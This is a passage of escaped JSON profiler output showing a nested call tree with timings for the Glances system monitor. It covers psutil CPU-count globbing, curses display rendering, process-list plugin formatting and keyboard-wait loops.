\"[self]\",\"time\": 0.002759,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001246,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001246,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.012615,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001373,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002002,\"attributes\": {\"l1295\": 0.0020017140050185844},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/core/__init__.py\\u000044\",\"time\": 0.002002,\"attributes\": {\"cCorePlugin\": 0.0020017140050185844, \"l62\": 0.0020017140050185844},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002002,\"attributes\": {\"l1684\": 0.0020017140050185844},\"children\": [{\"identifier\": \"cpu_count_cores\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000564\",\"time\": 0.002002,\"attributes\": {\"l575\": 0.0020017140050185844},\"children\": [{\"identifier\": \"glob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000016\",\"time\": 0.002002,\"attributes\": {\"l31\": 0.0020017140050185844},\"children\": [{\"identifier\": \"_iglob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000063\",\"time\": 0.002002,\"attributes\": {\"l99\": 0.0020017140050185844},\"children\": [{\"identifier\": \"_iglob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000063\",\"time\": 0.002002,\"attributes\": {\"l99\": 0.0020017140050185844},\"children\": [{\"identifier\": \"_iglob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000063\",\"time\": 0.002002,\"attributes\": {\"l100\": 0.0020017140050185844},\"children\": [{\"identifier\": \"_glob1\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u0000108\",\"time\": 0.002002,\"attributes\": {\"l112\": 0.0020017140050185844},\"children\": [{\"identifier\": \"filter\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/fnmatch.py\\u000053\",\"time\": 0.002002,\"attributes\": {\"l67\": 0.0020017140050185844},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.057985,\"attributes\": {\"cGlancesCursesStandalone\": 2.057984774997749, \"l1154\": 0.04804187300032936, \"l1169\": 1.0051377069903538, \"l1172\": 1.0048051950070658},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.048042,\"attributes\": {\"cGlancesCursesStandalone\": 0.04804187300032936, \"l1135\": 0.04599844999756897, \"l1136\": 0.0020434230027603917},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.045998,\"attributes\": {\"cGlancesCursesStandalone\": 0.04599844999756897, \"l569\": 0.04599844999756897},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.045998,\"attributes\": {\"cGlancesCursesStandalone\": 0.04599844999756897, \"l545\": 0.04599844999756897},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.045998,\"attributes\": {\"cProgramlistPlugin\": 0.01799620899691945, \"l1101\": 0.04599844999756897, \"cProcesslistPlugin\": 0.026001169004302938, \"cMemswapPlugin\": 0.0020010719963465817},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.043997,\"attributes\": {\"cProgramlistPlugin\": 0.01799620899691945, \"l587\": 0.04199689500092063, \"cProcesslistPlugin\": 0.026001169004302938, \"l566\": 0.002000483000301756},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.015996,\"attributes\": {\"cProgramlistPlugin\": 0.015995878995454405, \"l539\": 0.0019981789955636486, \"l538\": 0.01199825300136581, \"l532\": 0.0019994469985249452},\"children\": [{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019998979987576604, \"l359\": 0.0019998979987576604},\"children\": [{\"identifier\": \"get_conf_value\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001003\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019998979987576604, \"l1020\": 0.0019998979987576604},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020018890063511208, \"l440\": 0.0020018890063511208},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020018890063511208, \"l1130\": 0.0020018890063511208},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019995449983980507, \"l360\": 0.0019995449983980507},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019995449983980507, \"l340\": 0.0019995449983980507},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_nprocs\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000172\",\"time\": 0.001996,\"attributes\": {\"cProgramlistPlugin\": 0.00199639600032242, \"l175\": 0.00199639600032242},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001996,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.001999831001739949, \"l325\": 0.001999831001739949},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.001999831001739949, \"l856\": 0.001999831001739949},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020006939957966097, \"l360\": 0.0020006939957966097},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020006939957966097, \"l340\": 0.0020006939957966097},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020006939957966097, \"l1251\": 0.0020006939957966097},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002001,\"attributes\": {\"l445\": 0.0020006939957966097},\"children\": [{\"identifier\": \"tuple.index\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002000,\"attributes\": {\"l824\": 0.002000483000301756},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.024001,\"attributes\": {\"cProcesslistPlugin\": 0.02400068600400118, \"l538\": 0.022001119003107306, \"l539\": 0.001999567000893876},\"children\": [{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020004739999421872, \"l360\": 0.0020004739999421872},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020004739999421872, \"l340\": 0.0020004739999421872},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020004739999421872, \"l1251\": 0.0020004739999421872},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002000,\"attributes\": {\"l478\": 0.0020004739999421872},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.003999,\"attributes\": {\"cProcesslistPlugin\": 0.003998587999376468, \"l509\": 0.001998697000090033, \"l497\": 0.0019998909992864355},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"split_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000101\",\"time\": 0.002000,\"attributes\": {\"l114\": 0.0019998909992864355},\"children\": [{\"identifier\": \"split\\u0000<frozen posixpath>\\u0000100\",\"time\": 0.002000,\"attributes\": {\"l104\": 0.0019998909992864355},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020004280013381504, \"l397\": 0.0020004280013381504},\"children\": [{\"identifier\": \"seconds_to_hms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u000089\",\"time\": 0.002000,\"attributes\": {\"l91\": 0.0020004280013381504},\"children\": [{\"identifier\": \"divmod\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019996609989902936, \"l325\": 0.0019996609989902936},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019996609989902936, \"l857\": 0.0019996609989902936},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.002002462002565153, \"l361\": 0.002002462002565153},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.002002462002565153, \"l350\": 0.002002462002565153},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.002002462002565153, \"l1251\": 0.002002462002565153},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002002,\"attributes\": {\"l445\": 0.002002462002565153},\"children\": [{\"identifier\": \"tuple.index\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019985249964520335, \"l429\": 0.0019985249964520335},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019985249964520335, \"l278\": 0.0019985249964520335},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019985249964520335, \"l967\": 0.0019985249964520335},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019991930021205917, \"l309\": 0.0019991930021205917},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019991930021205917, \"l885\": 0.0019991930021205917},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019991930021205917, \"l910\": 0.0019991930021205917},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_pid\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000364\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.00200026499805972, \"l367\": 0.00200026499805972},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020009830041090026, \"l361\": 0.0020009830041090026},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020009830041090026, \"l351\": 0.0020009830041090026},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020009830041090026, \"l1130\": 0.0020009830041090026},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/memswap/__init__.py\\u0000153\",\"time\": 0.002001,\"attributes\": {\"cMemswapPlugin\": 0.0020010719963465817, \"l188\": 0.0020010719963465817},\"children\": [{\"identifier\": \"curse_add_stat\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001142\",\"time\": 0.002001,\"attributes\": {\"cMemswapPlugin\": 0.0020010719963465817, \"l1220\": 0.0020010719963465817},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002001,\"attributes\": {\"cMemswapPlugin\": 0.0020010719963465817, \"l1251\": 0.0020010719963465817},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002001,\"attributes\": {\"l478\": 0.0020010719963465817},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002043,\"attributes\": {},\"children\": []}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100509,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005089379978017, \"l291\": 0.1005089379978017},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100509,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005089379978017, \"l260\": 0.1005089379978017},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100509,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100509,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100534,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053369300294435, \"l1202\": 0.10053369300294435},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100534,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100534,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100588,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058845499588642, \"l291\": 0.10058845499588642},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100588,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058845499588642, \"l260\": 0.10058845499588642},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100588,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100588,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100484,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048362000088673, \"l1202\": 0.10048362000088673},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100484,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100484,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100593,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059346500202082, \"l291\": 0.10059346500202082},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100593,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059346500202082, \"l260\": 0.10059346500202082},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100593,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100593,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100466,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046626699477201, \"l1202\": 0.10046626699477201},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100466,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100466,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100409,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004085010063136, \"l291\": 0.1004085010063136},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100409,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004085010063136, \"l260\": 0.1004085010063136},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100409,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100409,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100456,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045595900010085, \"l1202\": 0.10045595900010085},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100456,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100456,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100430,\"attributes\": {\"cGlancesCursesStandalone\": 0.10042950599745382, \"l291\": 0.10042950599745382},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100430,\"attributes\": {\"cGlancesCursesStandalone\": 0.10042950599745382, \"l260\": 0.10042950599745382},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100430,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100430,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100378,\"attributes\": {\"cGlancesCursesStandalone\": 0.10037761800049338, \"l1202\": 0.10037761800049338},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100378,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100378,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100489,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048916899540927, \"l291\": 0.10048916899540927},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100489,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048916899540927, \"l260\": 0.10048916899540927},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100489,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100489,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100516,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005161240027519, \"l1202\": 0.1005161240027519},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100516,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100516,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100647,\"attributes\": {\"cGlancesCursesStandalone\": 0.10064712299936218, \"l291\": 0.10064712299936218},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100647,\"attributes\": {\"cGlancesCursesStandalone\": 0.10064712299936218, \"l260\": 0.10064712299936218},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100647,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100647,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100548,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054844099795446, \"l1202\": 0.10054844099795446},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100548,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100548,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100567,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056662900024094, \"l291\": 0.10056662900024094},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100567,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056662900024094, \"l260\": 0.10056662900024094},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100567,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100567,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100461,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046089800016489, \"l1202\": 0.10046089800016489},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100461,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100461,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100501,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050097700150218, \"l291\": 0.10050097700150218},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100501,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050097700150218, \"l260\": 0.10050097700150218},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100501,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100501,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100473,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004729460037197, \"l1202\": 0.1004729460037197},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100473,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100473,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100405,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040494399436284, \"l291\": 0.10040494399436284},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100405,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040494399436284, \"l260\": 0.10040494399436284},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100405,\"attributes\": {},\"children\": [{\"identifier\": 